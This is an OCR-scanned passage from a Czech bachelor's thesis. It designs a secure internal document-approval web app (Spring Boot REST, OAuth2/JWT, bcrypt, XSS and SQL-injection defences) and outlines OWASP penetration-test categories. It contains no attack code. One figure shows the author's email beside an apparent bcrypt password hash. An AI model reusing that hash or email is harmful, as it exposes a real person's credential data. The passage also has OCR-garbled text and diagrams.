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1. Uvod

Webova aplikace je aplikace, kterd je ulozena na vzdéaleném serveru a je dostupna
klientim za pouziti internetu ptes rozhrani webového prohlize¢e. Webovou aplikaci obvykle
tvoti n€¢kolik ¢asti — webovy server, aplikacni server a databéze.

Velkou vyhodou webovych aplikaci je jejich snadnd tdrzba. Uzivatel také nemusi
instalovat zadny specialni softwarovy balik k ovladani programu, protoze mu postaci pouze
internetovy prohlizec.

Webova aplikace mize byt navrzena pro velké mnozstvi uziti a mize ji vyuzivat kazdy,
od organizace az po bézného uzivatele, ktery ma moznost denné pracovat s riznymi typy
webovych aplikaci. Velmi pouzivanym typem webovych aplikaci jsou jednoznaéné e-
commerce aplikace, internetové obchody, platebni brany a platebni procesory, dynamické
webové prezentace, diskuzni fora 1 aplikace na strané vetejné spravy.

Webové aplikace mohou byt velmi zranitelné a jejich urovenn zabezpeceni by méla
odpovidat obsahu dané aplikace. Pfi vyvoji aplikace, kterd bude pracovat s citlivymi
informacemi (obchodni transakce, rodna ¢isla klientt atd), by mélo byt dbano na zabezpeceni

S mnohem vétsi dulezitosti.

1.1 Cil prace

Hlavnim cilem mé bakalaiské prace je praktickd implementace bezpecné webové
aplikace za pouziti vhodnych bezpe¢nostnich mechanismui. Tato aplikace bude béZet v lokalni
siti. Na strané serveru bude pouzit framework Spring Boot a programovaci jazyk Java 12. Na
tomto serveru bude vystavéno API v podobé REST sluzeb. Klientska cast aplikace bude
implementovéana pomoci frameworku jQuery.

Aplikace bude ur¢ena pro firmu k fizeni vnitropodnikové dokumentace, jakoZto jednoho
ze zékladnich nastrojii fizeni firmy. To znamena, Ze uzivatel, ktery bude mit pravo nasdilet
dokument, si bude moct navolit, jaci uzivatelé budou muset dany dokument v jim uréeném
casovém horizontu schvalit a ktefi uzivatelé budou mit povinnost se seznamit S danym
dokumentem po schvaleni. Aplikace bude umoznovat rozesilani hromadnych emaild na
zéklad¢ riaznych udalosti. Zakladni udalosti budou schvéleni dokumentu, zablokovani
dokumentu, vytvofeni dokumentu, expirace dokumentu a obdrZeni nového dokumentu.
Funkcionalita riizného vyhledavani dokumentt, zékladni administrace uZivatelt a dokumentt
bude také implementovana. Dokumentace miiZze obsahovat velmi citlivé informace (Smlouvy,
ruzné ekonomické vysledky atd). Povolené typy dokumentd budou soubory typu PDF.

Ve druhé fazi bakalatské prace je cilem provést zhodnoceni zabezpeceni vytvorené
1



webové aplikace pomoci penetracnich testu.

2. Analyticka cast
2.1 Analyza aplikace

2.1.1 UML use case diagram
e

ol Neschvileni ; Posli email o
User ) \ <Include>> neschvaleni dokumentu
« = Poili email o schvaleni
<includgs> dokumentu
Resetovani hesla {Potet lidi, kiefi
schyalili

dokumentse

rownd celkovému
Vyhleddvani sdﬂgnich podiu whranych
dokumentu lidi ke schvaleni:}

)
T T o R
Document_Creator Vytvoreni dokumentu T 3 Podli email o wytvofeni
A \ =sinoluda> dokumentu
Posli email o novych
CRUS[:(E;’;':;? eS8 dokumentech étenaftm
Prohll”zenj svjch \

dokumentu a jejich

vysledki schvalovani /

Posli email o pro§lych

:; dokumentech
: i

Prohlizeni viech
dokumenttl a jejich

- Scheduler
Admin

wysledki

Obrazek 1. UML use case diagram

Na obrazku 1 je zobrazen UML use case diagram. Jsou pouzivani celkem ¢tyti aktofi —
User, Document_Creator, Admin a Scheduler.

Aktor User muze ¢ist, schvalovat a neschvalovat dokumenty, které s nim byly sdileny.
Operace Cteni je uzivateli zpitistupnéna, pokud je zafazen tviircem dokumentu mezi uzivatele,
ktefi jsou povinni se sdanym dokumentem sezndmit. Uzivatel mé& Vtomto piipadé
obezndmeni s danym dokumentem potvrdit.

Podobn¢ je tomu i u schvalovani a neschvalovani dokumentu. Aktorovi User je
zptistupnéna moznost schvalovani dokumentu za ptedpokladu, Ze je zafazen tvlrcem
dokumentu mezi uzivatele, kteti jsou povéteni dany dokument schvalit. Pokud uzivatel

s dokumentem nesouhlasi, spusti se operace zablokovani dokumentu a probéhne odeslani
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emailu vSem uzivatelim, ktefi jsou povéefeni schvalovanim dokumentu, se zpravou, ze dany
dokument nebyl schvalen a Ze se stava neaktivnim. Pokud uzivatel dokument schvali, mohla
by se spustit akce odeslani emailu v§em uzivateltim, ktefi jsou povéeteni k procesu schvalovani
dokumentu se zpravou, ze dany dokument byl uspésné€ schvalen. Tato akce je spusténa jen za
predpokladu, ze dokument byl jiz schvalen vSemi povéfenymi uzivateli. Za predpokladu, ze
tato podminka neni splnéna, nedojde k odeslani emaild.

Aktorovi User je umoznéno dohledavat zpétné¢ dokumenty pomoci globalniho
vyhledavani podle titulu nebo pomoci historie, kde musi uzivatel zadat mésic a rok. Budou
zobrazeny dokumenty, které byly sdileny s danym uzivatelem v zadaném ¢asovém obdobi.

Dalsi funkci, ktera je aktorovi User zptistupnéna je zména hesla za predpokladu, Ze je
poskytnuto aktudlni heslo dvakrat ve spravné formé, stejné tak nové heslo musi byt zadano
dvakrat stejn¢. Nasledné probéhne operace, kde je zkontrolovano, Ze aktualni heslo je spravné
a ze aktualni a nové chténé heslo nejsou totozné.

Aktor Document_Creator ma stejné moznosti jako aktor User a navic mize spravovat
vlastni skupiny, tvofit dokumenty, prohlizet jim vytvofené dokumenty a vysledky
schvalovani. Vysledky obsahuji informace o tom, kdo s dokumentem souhlasil, kdo
nesouhlasil a kdo se prozatim nevyjadiil. Pokud je dokument jiz schvélen, Ize dohledat
vSechny uZzivatele, ktefi dokument piecetli a ktefi prozatim ne.

Aktor Admin muze deaktivovat/aktivovat uzivatele. Pokud je provedena operace
deaktivace, uzivatel je odstranén ze vSech skupin, nedostavd jiz Zadné informace
prostiednictvim emailové komunikace a v seznamu uzivatell je dohledatelny pouze aktorem
Admin. Tento aktor mutize registrovat nové uzivatele, aktualizovat informace o uzivatelich a
mazat dokumenty. Je mu také umoznéno ¢teni vSech dokumentd a jejich vysledka.

Aktor Scheduler se stara o posilani emailti ohledné expirovanych dokumentd, u kterych
doba ke schvaleni uplynula. Tyto emaily jsou smérované jen uzivatelim, ktefi byli povéfeni
schvalovanim dokumentu. Dalsi funkci tohoto aktora je odesilani emailti ohledné novych

zvetejnénych dokumentii ctendiim.

2.1.2 Relac¢ni model databaze

Jako systém pro fizeni dat je pouzivan MySQL. Na obrazku 2 lze vidét relacni model

pouzivané databaze.



| document_state ¥

_J document v id BIGINT (20) ] unit v
id BIGINT (20) i_ _"% state VARCHAR(60) id BIGINT (20) j users_units ¥
active_end_time DATETIME | »> name ¥ ARCHAR(40) unit_id BIGINT(20)
> active_start_time DATETIME : % user_id BIGINT (20) user_id BIGINT (20)
approval _end_time DATETIME pO-— > >
description VARCHAR(255) g &
name VARCHAR (60) ‘
resource_path VARCHAR(255) |
title VARCHAR(15) B LT T
upload_datetime DATETIME | ‘
# docum ent_state_id BIGINT (20) : l
@ user_id BIGINT (20) | j User v
* : id BIGINT (20)
g e g g K+ @ active BIT(1)
email VARCHAR(40)
first_nam e VARCHAR(40) j role v
—————————H password VARCHAR(70) H—————————— i BIGINT (20)
surname VARCHAR(40) authority VARCHAR(40)
] users_documents ¥ - >
docum ent_id BIGINT(20)

sharing_type_id BIGINT(20) PO
user_id BIGINT (20)

approval INT(11) BO——
email_sent BIT(1) — sharing_type v ] users_roles ¥
= id BIGINT (20) =

name VARCHAR(60) user_id BIGINT(20)
> role_id BIGINT(20)

>

Obrazek 2: Relacni model databdze

Hlavni tabulka v relaénim modelu je user. Tato tabulka uchovavéd informace o
uzivatelich. Tabulka obsahuje unikatni kli¢ email, protoze je pozadovano, aby email byl
unikatni hodnotou. Z modelu lze vidét, ze uzivatel miize mit vice roli. K tomuto ucelu slouzi
vazba M:N mezi tabulkou user a role. Tabulka users_roles pouziva jako primarni kli¢
kombinaci atributt user_id a role_id. Cizi klice jsou pouzity také atributy user_id a role_id.

Pouzivané role 1ze vidét na obrazku 3.

id authority id state id name

1 LJSER 1 Approved
2 DOCUMENT_CREATOR |2 Approval bl approver
3 (ADMIN 3 Cancelled 2 reader

Obrazek 3: Pouzivané role, stavy a polozky v tabulce sharing_type

Uzivatel mize vytvaret své vlastni skupiny. VSechny skupiny, které uzivatel vytvofil
jsou ulozeny Vv tabulce unit. Mezi tabulkou user a unit je vazba 1:N. Tabulka users_units
slouzi k ukladani uzivateld ve skupinach. K tomuto tcelu je zde pouzita vazba M:N mezi
tabulkou user a unit. Primarnim kli¢em je zde user_id a unit_id. Cizi klice jsou pouzity user_id
a unit_id. Moznost tvorby dokumentl je zndzornéno vazbou 1:N mezi tabulkou user a
document. Dokumenty se neukladaji pfimo do databaze, je zde pouze uloZena cesta
k dokumentu na disku v atributu resource_path. Atribut upload_datetime fika, kdy byl

dokument nahran a zaroven kdy zacal proces schvalovani. Proces schvalovani trva do data a
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Casu, ktery je udan v atributu approval_end_time. Pokud dojde ke schvaleni dokumentu, bude
vybranym uzivatelim dokument k dispozici podle hodnot atributii active start time a
active_end_time. Atribut name je zde unikatni klic.

Dulezita je tabulka document_state. Tato tabulka indikuje, v jakém stavu se
dokument nachazi. Jsou pouzivany celkem tii stavy zobrazené na obrazku 3 — Approved,
Approval a Cancelled. Pokud je dokument ve stavu Approved, znamena to, ze dokument je
schvalen vybranymi uzivateli a je/bude dostupny uzivateliim, ktefi jsou vybrani dany
dokument ptecist a potvrdit v urcitém casovém horizontu. Pokud je dokument ve stavu
Approval, ¢eka se na schvaleni od vSech povétenych uzivateld. Za piedpokladu, Ze vSichni
vybrani uzivatelé s dokumentem souhlasili, je stav dokumentu nastaven na Approved.
Poslednim moznym stavem je Cancelled. Tento stav mize nastat dvéma zptsoby. Bud’ jeden
z vybranych uzivateli dokument zamitne, nebo jej vSichni povéfeni uzivatelé v daném
casovém horizontu neschvali.

Dokumenty, které byly sdileny s uzivatelem, lze dohledat v tabulce users_documents.
Je zde pouzita vazba M:N mezi tabulkou user a document. Primarni kli¢ je zde tvofen z
atributd document_id, user_id a sharing_type_id. Je zde pouzivan atribut email_sent, ktery
slouzi k indikaci, zda byl jiz uzivateli s id user_id odeslan email o dostupnosti dokumentu s id
document_id  vaplikaci. Atribut approval slouzi  kuchovavani  uZivatelova
souhlasu/nesouhlasu a potvrzeni. Hodnota 2 indikuje, ze se uzivatel jesté nevyjadiil k tomuto
dokumentu. Hodnota 1 tika, Ze uZivatel souhlasi s danym dokumentem, nebo Ze dany
dokument potvrzuje. A hodnota 0 znamena, Ze uZzivatel nesouhlasi s danym dokumentem.

Tabulka sharing_type obsahuje celkem dvé polozky, jak Ize vidét na obrazku 3 —
reader a approver. Polozka reader slouzi k oznaceni uzivateld, ktefi jsou vybrani ke ¢teni
dokumentu. Ten je dostupny ke ¢teni az po schvaleni dokumentu povéfenymi uzivateli. Pokud
dokument neni schvalen, uzivatelé oznaceni jako reader nebudou mit nikdy moznost tento
dokument piecist. Druha polozka approver slouzi k oznaceni uzivatelt, ktefi jsou ke schvaleni

daného dokument v daném ¢asovém horizontu povéieni.

2.1.3 Architektura aplikace

Aplikace je tvofena ze dvou casti. Prvni ¢ast aplikace pouziva framework Spring Boot
aprogramovaci jazyk Java 12. Tato ¢ast aplikace vystavuje APl v podobé REST sluzeb. Druha
¢ast aplikace pouziva framework jQuery a komunikuje se serverem pomoci technologie
AJAX.

Také je pouzivan webovy server IIS verze 10 na portech 443 a 80, na kterém je
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vykonavana klientska ¢ast aplikace. Serverova ¢ast aplikace bézi na webovém serveru Apache
Tomcat na portu 8443, je podporovana komunikace pouze prostfednictvim HTTPS a je
rozdelena do tii vrstev — prezentacni, business a datové.

V prezentacni vrstvé se nachazi Dispatcher, ktery implementuje navrhovy vzor Front
controller a je tedy zodpovédny za sméfovani piichozich HTTP zéadosti ke spravnym
kontrolérim. Do této vrstvy je zafazena i ¢ast aplikace vyvijena dle navrhového vzoru MVC
(Model, JSON mapovani a Controller). V business vrstvé se nachazeji Services. Datova
vrstva je zodpovédna za komunikaci s databazi pomoci ORM techniky. K tomuto ucelu je

pouzivan standard JPA.

| docmanager.com:g443 | docmanager.com:443 ‘

| docmanager.com:&0 ‘

= REST server - Spring Boot = s 10
= v
E Dispatcher JSON mapovani
E HTTP #adost odesland pomoci
,§ J' technologie AJAX HTMLICSS
£
ﬁ Controller Model
: ;& H
4 . jQuery
a2 Services
@
=
]
&
L ™
E HTTP odpovéd'
§ Repository

JPA

= RDBMS

MysQL

Obrazek 4 Architektura aplikace

2.2 Bezpecénostni mechanismy

Nasledujici kapitola se vénuje rozboru bezpe¢nostnich mechanismi, které jsou

vyuzivany.

2.2.1HTTPS

HTTPS hraje velmi dulezitou roli ve spojeni se zabezpecenim webovych aplikaci.
Umoznuje zajistit bezpecné prenosy dat mezi pocitai na internetu. Vyuziva protokol HTTP

spolu s protokolem SSL, nebo TLS [3]. Vzhledem k velkému po¢tu obchodnich transakci na
6



internetu je kryptografie velmi dulezitym ¢lankem k zajisténi bezpecnosti transakci. V roce
2015 probéhlo pies 38,5 bilionit obchodnich transakci na internetu [1].

REST server komunikuje pouze pomoci HTTPS. Jsou zakézané vSechny nizsi
protokoly nez TLS1.2. a je zakdazano komunikovat pomoci slabych Sifer [2]. Starsi protokoly
nejsou bezpecné [21]. Je pouzivan certifikat sdm sebou podepsany k Sifrované komunikaci,
ktery pouziva algoritmus SHA256. Tento certifikdt byl vytvofen pomoci nastroje
KeyToolExplorer. K funkénosti aplikace je nutné, aby tento certifikat byl vlozen mezi
divéryhodné certifikacni autority.

Webovy server IS pouziva stejny certifikat jako REST server. Je také zakdzano
komunikovat pomoci slabych Sifer a je povolena komunikace pouze pies TLS1.2 [2]. Je
umoznéno pristupovat k webovému serveru IIS pies HTTP i HTTPS, proto je pouZivana

hlavicka Strict-Transport-Security.

a  Certifikat X

@& docmanager.com

Obecné Podrobnosti  Cesta k certifikétu

Zobrazit: |Pouze pole verze 1 w
Pole Hodnota ”~
[-] sériové Eislo 5d80af18
[-] Algoritmus podpisu sha236RSA
[-=|Podpisovy algoritmus h... sha2s6
[=| vystavitel Patrik Maryska, docmana...
[-=|Platnost od Gtery 17. zaii 2019 12:02...
[-=|Platnost do stfeda 16. zafi 2020 12:0...
[=|Subjekt Fatrik Maryska, docmana...
[=|vefajny ki RSA (2048 Bits) “

Obrazek 5: Certifikat serveru

2.2.2 Heslo
Hesla jsou jednozna¢né nejpopularnéjsi zptisob potvrzeni identity webové aplikaci.
Z toho davodu jsou velmi popularnim cilem uto¢nikii. VSechny utoky proti heslim jsou
zalozeny na opakovaném héadani hesla. Cilem je uhddnout hodnotu hesla v textové formé [3].
Heslo je ulozeno ve form¢ vysledku hashovaci funkce berypt do databaze. Velkou
vyhodou této funkce je, Zze interné generuje nahodny kus dat, ktery je ptidan na vstup

hashovaci funkce [3]. Zvysit zabezpeCeni muzeme tim, Ze pouzijeme hashovaci funkci



nekolikrat za sebou [3]. Je mozné dosadit, kolikrat se bude dané funkce opakovat (rounds).
Cim vétsi hodnota, tim déle trva hashovani hesla. Spring pouziva berypt s vychozi hodnotou
deset [17].

139 patrikmaryska@amail.com  Patrik §2a510$pOwLk2ZpUG 10wYHERIN/WO 101 2dmMyaf/. FXHGZir HiBMYSIQQG Marjska 1

Obrazek 6: Ulozené heslo v databazi

D¢élka hesla a pouzita sada ma vliv na pocet variaci, které musi tito¢nik vyzkouset, aby
se dostal ke spravnému vysledku.

Je vyzadovano, aby hesla obsahovala alesponi 0sm znakd, minimalné jeden specialni
znak, jedno velké pismeno, jednu ¢islici a jedno malé pismeno.
budeme vyzadovat, aby doSlo ke zméné hesla pouze v danych casovych intervalech,
uto¢nikova Sance na prolomeni hesla bude jesté¢ mensi [3]. Aplikace neumoziiuje zménu hesla
v danych €asovych intervalech. Zmeéna hesla je umoznéna kdykoli.

Aplikace ma implementovanou obranu proti itokiim hrubou silou. Pokud dojde k péti
neuspéSnym piihlasenim v fad¢ z jedné IP adresy, dojde k zablokovani dané IP adresy na ¢tyii

hodiny.

2.2.3 Oauth2

Tento protokol umoziuje aplikacim tietim stran ziskat omezeny piistup k HTTP sluzbé.
Povoleni k pfistupu je Zadano klientem. Klient mize byt webova stranka, mobilni aplikace a
dalsi [16].

Jsou pouzivany dva typy granti — password a refresh_token. Typ grantu password
umoziuje vymeénu uzivatelovych ptihlasovacich udaji za pfistupovy token [16]. Typ
refresh_token je pouzivan klienty k vyméné obnovovaciho tokenu za novy ptistupovy token,
kdyz platnost aktualniho pfistupového tokenu vyprsi [16].

Je tedy pouzivan pristupovy token a obnovovaci token v aplikaci. Ptistupové tokeny jsou
pouzivané k ptistupu k chrdnénym zdrojim. Pfistupovy token je fetézec, ktery reprezentuje
autorizaci vydanou klientovi [16]. Ma omezenou Zivotnost, ktera je definovand autorizaCnim
serverem. V aplikaci je definovana zivotnost piistupového tokenu na patnact minut.

Obnovovaci tokeny jsou pouzivany k ziskani pfistupovych tokent. Jsou vydany
klientovi autorizacnim serverem a jsou urceny k ziskani nového pfistupového tokenu, za
predpokladu, ze stavajici klientv ptistupovy token se stane neplatnym. Jsou pouZzivané pouze
pro komunikaci s autoriza¢nimi servery a nejsou nikdy posilany na resource server [16].
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Zivotnost obnovovaciho tokenu je definovana na t¥icet minut v aplikaci. Na obrazku 7 je
zobrazen tento proces. Resource Owner je v piipadé této aplikace uzivatel. Client je aplikace,
ktera se snazi ziskat ptistup k uzivatelskému uctu.

Je vyuzivan standard JSON Web Token (JWT). JWT je otevieny standard, ktery definuje
zpusob, jak bezpe¢né pienaset informace mezi stranami ve formatu JSON. Tyto informace
mohou byt ovéfeny a divérovany, protoze jsou digitaln€ podepsané. JWT miize byt podepsano
pomoci tajemstvi nebo asymetricky pomoci RSA nebo ECDSA [10]. JWT tokeny by mély byt
ptikladany do zadosti posilané na server tak, ze se pfida hlavicka Authorization: Bearer [JWT
token].

Aplikace digitalné podepisuje JWT token na autorizaénim serveru pomoci privatniho
klice a algoritmu RSA256. K tomuto tcelu byl vygenerovan certifikat podepsany sdm sebou
typu JKS pomoci nastroje KeyToolExplorer. K ovéfeni validity JWT tokenu je pouzivan
vetejny kli¢ na strané resource serveru. Je vraceno chybové hlaseni za predpokladu, ze dojde

ke kompromitaci JWT.

Resource Owner Password Credentials Grant
Resource Owner

(A) Resource Owner Password Credentials
(B) Resource Owner Password Credentials
: Authorization
Client

(C) Access Token (w/ optional refresh token) Server

. 4 <

(O) Cliemt calls Resource Server w/ Access Token
@ ™

Resource Server

& Y

Obrazek 7: Password Credentials Flow [23]

2.2.4 XSS

XSS je utokem, ktery je v dokumentu OWASP Top 10 z roku 2017 na sedmém misté
[5]. Celkem aplikace mize Celit tiem typam XSS — reflected, stored a DOM based.
Reflected XSS se objevuje, kdyz aplikace obdrzi data, ktera obsahuji uto¢niktiv script v



HTTP Zadosti a nasledn¢ aplikace vklada tato data nezabezpecen¢ do okamzité odpovédi.
Tento uto¢ny script neni ulozen v aplikaci a pouze postihuje uzivatele, ktefi oteviou
nebezpecny vytvoieny odkaz nebo jinou webovou stranku [8].

Stored XSS nastava, kdyz webova aplikace ptijima vstup od uzivatele, ktery mize byt
potencionalné nebezpecny a nasledné tento vstup uklada pro pozdéjsi pouziti. Pokud tato data
nejsou spravné filtrovana, tak tato nebezpecna data se zobrazi jako soucast webové stranky a
za predpokladu, ze obsahuji néjaky Skodlivy script, se spusti v prohlizeci jinych uzivatelt
S pravy webové aplikace [8].

Utok DOM based XSS je velmi podobny ttoku Stored XSS. Rozdil je, ze dochazi
k zakomponovani Gto¢nikova skriptu do webové stranky na strané klienta, nikoli na strané
serveru [8].

Jsou kontrolovana vSechna pfichozi data na frontendu a jsou pievadény potencionalné
nebezpecné znaky na HTML entity. Potencionalné nebezpecné znaky jsou amspersand,
dvojité uvozovky, leva/prava ostra zavorka, apostrof a zakddované nebezpecné znaky. Tyto
ptevody jsou uskuteénény volanim spravné funkce pouzivané knihovny xss-filters.js.

Je vyuzivano n€kolik bezpecnostnich hlavicek, které jsou nutnosti v prvotni obrané
proti utoktim typu XSS.
o X-XSS-Protection:1; mode=block — tato hlavicka povoluje XSS filtrovani a
pokud je detekovan tatok XSS, prohlize¢ zablokuje nacteni stranky [4].
o Content-Type-Options: nosniff — tato hlavicka sd€luje prohlizeci, aby
oveéfoval, zda je spravné nastaveny MIME type v hlaviéce zdroje [11].
o Content-Security-Policy — pomoci této hlavic¢ky je uréena politika, odkud se

mohou které zdroje nahravat [5].

2.2.5 Autorizace

Autorizace je provadéna na zakladé ptidélenych roli. Role uzivatele se po autentizaci
nachazeji v pfistupovém tokenu a dle téchto roli je rozhodnuto, zda uZivatel je opravnén
ptistoupit k danému end-pointu. V aplikaci je uréeno, ktera URL vyZzaduji, aby byl uzivatel
autentizovan. Pouzivané role jSou rozebrany V kapitole 2.1.2 a komplexnéjsi rozbor

autoriza¢niho systému je popsan Vv kapitole 3.2.4.

2.2.6 Validace inputu

Validace vstupnich dat je nesmirné dilezitym obrannym mechanismem. M¢lo by platit

pravidlo, Ze by program nikdy nem¢l diivéfovat datim, které pfichazi od uzivatele. Validace
10



téchto dat je tedy nesmirné kriticka funkcionalita bezpecné aplikace.

Prvotni validace je provedena jiz na frontendu. Tuto validaci lze velmi snadno obejit,
proto validace na serveru musi byt vice dikladna. Validace vstupu je uskutecnéna nékolika
zpusoby. Prvni zplisobem je pouziti riznych regularnich vyraza k filtraci vstupu. Druhym
zpusobem je pouziti riznych anotaci, které¢ nabizi Spring framework. Pomoci téchto anotaci
l1ze ptfesné definovat minimalni a maximalni délku, povolené znaky, jak by méla vypadat
zprava vracena uzivateli o chybé a dal$i varianty. Aplikace pouziva riizné dalsi funkce, které

se staraji o validaci inputu. Vice je toto téma rozebrano v kapitole 3.2.12.

2.2.7 Sifrovani dokumenti na disku

Pfichozi dokumenty jsou Sifrovany pomoci symetrického kli¢e a algoritmu AES.
Velikost pouzitého klice je 256 bitd. Tyto dokumenty jsou po zasifrovani uloZeny na disk.

Je nutné, aby k tajnému kli¢i mél pfistup pouze uzivatel, pod kterym pobézi aplikace
V ramci operacniho serveru a administrator. Ostatni uzivatelé nesmi mit pfistup k tajnému

klici.

2.2.8 SQL injection
Utok typu injection je v zebiiku OWASP Top 10 z roku 2017 na prvnim mist& [6]. Velmi

kritickou chybou je tvofeni SQL dotazii pomoci spojovani fetézcli, nepouZivani
parametrizovanych dotazii a Spatna validace vstupu [6].

Prvotnim obrannym mechanismem proti SQL injection je validace vstupu. Druhotnym
mechanismem pouZzitym v této aplikaci je pouZivani parametrizovanych dotazli pfi

komunikaci s RDBMS.

2.2.9 Cookies

Je pouzivana technologie Oauth2 stokeny misto cookies. Cookies jsou na serveru

vypnuty. Neni tedy nutné fesit titok typu CSRF.

2.2.10 Logovani

Jsou logovany tspéSné/netispésné pokusy o piihlaseni a odhlaseni do souboru login.log.
Dale jsou logovany operace s dokumenty — tvorba dokumentu, GspéSny/neuspésny piistup
k dokumentu, smazani dokumentu a uspésné/neuspesné schvaleni dokumentu do souboru

doc_logs.log. Do souboru users.log jsou logovany operace s uzivateli a jejich skupinami —
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smazani, vytvoreni a aktualizovani uzivatell a skupin. Automaticky jsou vytvaieny kazdy den

nové logovaci soubory pro tyto tfi skupiny. Do souboru logfile.log se zapisuji globalni chyby.

2.2.11 Povolené metody

Na webovém serveru IS jsou povoleny metody GET a POST. Ostatni metody jsou

zakazany, jak Ize vidét na obrazku 8.

Operace Povole...
TRACE False
OPTIONS False
HEAD False
DELETE False
PUT False
CONNECT False

Obrazek 8: Zakdazané metody na webovém serveru I11S

Server potiebuje pro svoji spravnou funkcionalitu metody GET, POST, DELETE, PUT
a OPTIONS z davodu, Ze je pouzivan CORS standard.

2.2.12 CORS

CORS standard funguje pfidanim novych HTTP hlavicek, které nechaji server
definovat, odkud je povoleno ¢ist informace ze serveru. Funk¢nost technologie AJAX je
omezena zasadou stejného ptivodu. To znamena, Ze stranka musi pochazet ze stejného serveru
jako server a zaroven musi mit totozny port i protokol [7].

Kli¢ovou roli zde hraji pfedbézné pozadavky metody OPTIONS. ProhliZe¢ posila tento
pozadavek na server obsahujici specidlni hlavicky. Prohlize¢ se nejdfive zepta serveru, zda by
poskytl dané aplikaci data a na zaklad¢ této odpovédi prohlize¢ o data zazdda. Odpoveéd
serveru miiZze byt tvofena z mnoha hlavicek. Nejdulezit&jsi jsou hlavicky, které definuji, odkud
je povoleno Cist informace ze serveru, jaké metody Ize pouzit, jak dlouho se mé4 uchovavat
v paméti vysledek predbézného pozadavku a jaké hlavicky jsou povoleny. Je mozné definovat

1 dalsi hlavicky, ale aplikace je nepouziva [7].

2.2.13 Bezpecnostni hlavicky na REST serveru

REST server pouziva hlavicky ukdzané na obrazku 9. Prozatim nevysvétlené hlavicky
jsou vysvétleny v kapitole 3.4.
12



'; connect-src 'self'; img-src 'self'; style-src 'self’

onnection: clos

Obrazek 9: Hlavicky REST serveru

2.3 Penetracni testy

Penetraéni test je metoda hodnoceni zabezpeceni pocitacovych zatizeni, kde
bezpecnostni expert se snazi najit a zneuzit zranitelnosti v pocita¢ovém systému. Cilem tohoto
testu je identifikovat slaba mista v aplikaci, kterd by mohla byt zneuzita potencionalnim
uto¢nikem.

K testovani byl pouzit dokument OWASP Testing Guide verze 4. Cilem téchto testi je
porovnani stavu aplikace oproti fad¢ definovanych kritérii [8].

Tyto testy jsou rozdéleny do nékolika kategorii. Kazda kategorie obsahuje nékolik testu.

Tento dokument popisuje celkem jedenact kategorii.

1 — Testovani sbéru informaci (OTG-INFO)

Tato sada testli se zaobird porozuménim konfigurace serveru provozujici webovou
aplikaci. Aplikacni platformy jsou riznorodé, ale nékteré klicové konfiguracni chyby mohou
poskodit aplikaci [8]. Je testovan unik informaci, otisk webového serveru, otisk pouzivaného
webového frameworku a otisk webové aplikace. Déle je testovana identifikace slabych

vstupnich bodu v aplikaci a struktura aplikace [8].

2 - Testovani spravy konfigurace (OTG-CONFIG)

Tyto testy jsou také ur¢ené k porozuméni konfigurace serveru provozujici webovou
aplikaci [8]. Jedna se o konfiguraci sité, konfiguraci aplika¢ni platformy, zpracovani soubort
s citlivymi informacemi, prochézeni soubori s citlivymi informacemi, vycet infrastruktury a

administracnich rozhrani, testovani HTTP metod, testovani HSTS a RIA [8].

3 — Testovani spravy identit (OTG-IDENT)
Tato kategorie se zabyva testovanim definice roli, procesu registrace uzivatele, procesu
poskytovani uctu, hadani uzivatelského jména a slabé nebo nevynucené politiky

uzivatelského jména [8].
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4 — Testovani autentizace (OTG-AUTHN)

Autentizace je proces ovéreni digitdlni identity odesilatele komunikace. Testovani
autentiza¢niho schématu je zaloZeno na zjisténi, jak autentizacni proces funguje a ziskané
informace jsou pouzity k obejiti autentizatniho mechanismu. Testuje se, zda ptihlasovaci
udaje jsou posilany pres Sifrovany kanal, zda aplikace pouziva vychozi ptihlasovaci udaje,
slaby zamykaci mechanismus, obchazeni autentiza¢niho schématu, zranitelnost remember me,
zranitelnost cache prohlizece, slaba politika hesla, slabd bezpecnostni otazka, slaba zména

hesla a slabsi autentizace pies alternativni kanal [8].

5 — Testovani autorizace (OTG-AUTHZ)

Autorizace je koncept povoleni ptistupu ke zdrojim pouze tém, ktefi maji povoleni tyto
zdroje vyuzivat. Testovani autorizace je zalozeno na porozuméni, jak autorizacni proces
funguje a ziskané informace jsou pouzity K obejiti autoriza¢niho mechanismu. Toto testovani
zahrnuje prochdzeni adreséaii, obchazeni autoriza¢niho schématu, eskalaci privilegii a

nezabezpecené piimé odkazy na objekt [8].

6 — Testovani Fizeni relace (OTG-SESS)

V téchto testech, tester kontroluje, zda cookies a jiné session tokeny jsou vytvaieny
bezpetné a v neoéekavané form&. Utoénik, ktery je schopen odhadnout a vytvofit zranitelné
cookies miize velmi snadno ziskat relace legitimnich uzivateli [8].

Tyto testy se zamétuji na obchézeni session schématu, cookies atributy, session fixaci,
vystavené session proménné, CSRF, funkcionalitu odhlaseni, vyprSeni session a session

puzzling [8].

7 - Testovani validace vstupu (OTG-INPVAL)
Nejvice Casta chyba webovy aplikaci je Spatnd validace vstupu. Tato zranitelnost vede
k dal$im vaznym zranitelnostem ve webovych aplikacich. Datiim od externi entity nebo klienta
by nemélo byt nikdy divéfovano. Cilem testera je testovani vSech moZnych cest vstupu
k zjisténi, zda aplikace dostateéné kontroluje vstupy [8].
Tato kategorie testuje Reflected XSS, Stored XSS, HTTP protokol, znecisténi HTTP
parametr, SQL injection, LDAP injection, ORM injection, XML injection, SSI injection,
XPath injection, IMAP/SMTP injection, Code injection, Command Injection, Buffer

overflow, inkubované zranitelnosti a HTTP splitting/smuggling [8].
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8 — Testovani, jak aplikace pracuje s chybami (OTG-ERR)

Tato kapitola zahrnuje testy zaméfené na reakce na chyby a Stack Traces [8].

9 - Testovani slabé kryptografie (OTG-CRYPST)
Tyka se testovani slabych SSL/TLS S$ifer, nedostateéné TLS konfigurace, padding

oracle a zda nejsou posilané citlivé informace pies nesifrované kanaly [8].

10 - Testovani business logiky (OTG-BUSLOGIC)

V této kategorii se testuje validace business dat, zda je mozné pad¢lat zadosti, kontrola
integrity, Casovani procesu, zda jsou dodrZzovany limity na spusténi funkce, obchdzeni
pracovnich postupii, obrana proti Spatnému pouzivani aplikace, nahrani neo¢ekavanych typt

soubort a infikovanych soubort [8].

11 - Testovani klientské strany (OTG-CLIENT)

Testovani klientské strany je spojeno se spusténim kodu na strané klienta, typicky
Vv prohlizeci uzivatele [8].

Testuje se DOM based XSS, spusténi javascriptového kodu, HTML injection,
pfesmérovani URL, CSS injection, manipulace se zdroji, CORS, Cross site flashing,

Clickjacking, WebSockets, Web Messaging a lokalni ulozisté [8].

Dodatec¢né testy zaméfené na REST server byly testovany s pomoci OWASP REST
Security Cheat Sheet [9].

Vlastni testy
Byly vytvofeny vlastni testy k otestovani dalSich bezpecnostnich mechanismt, které

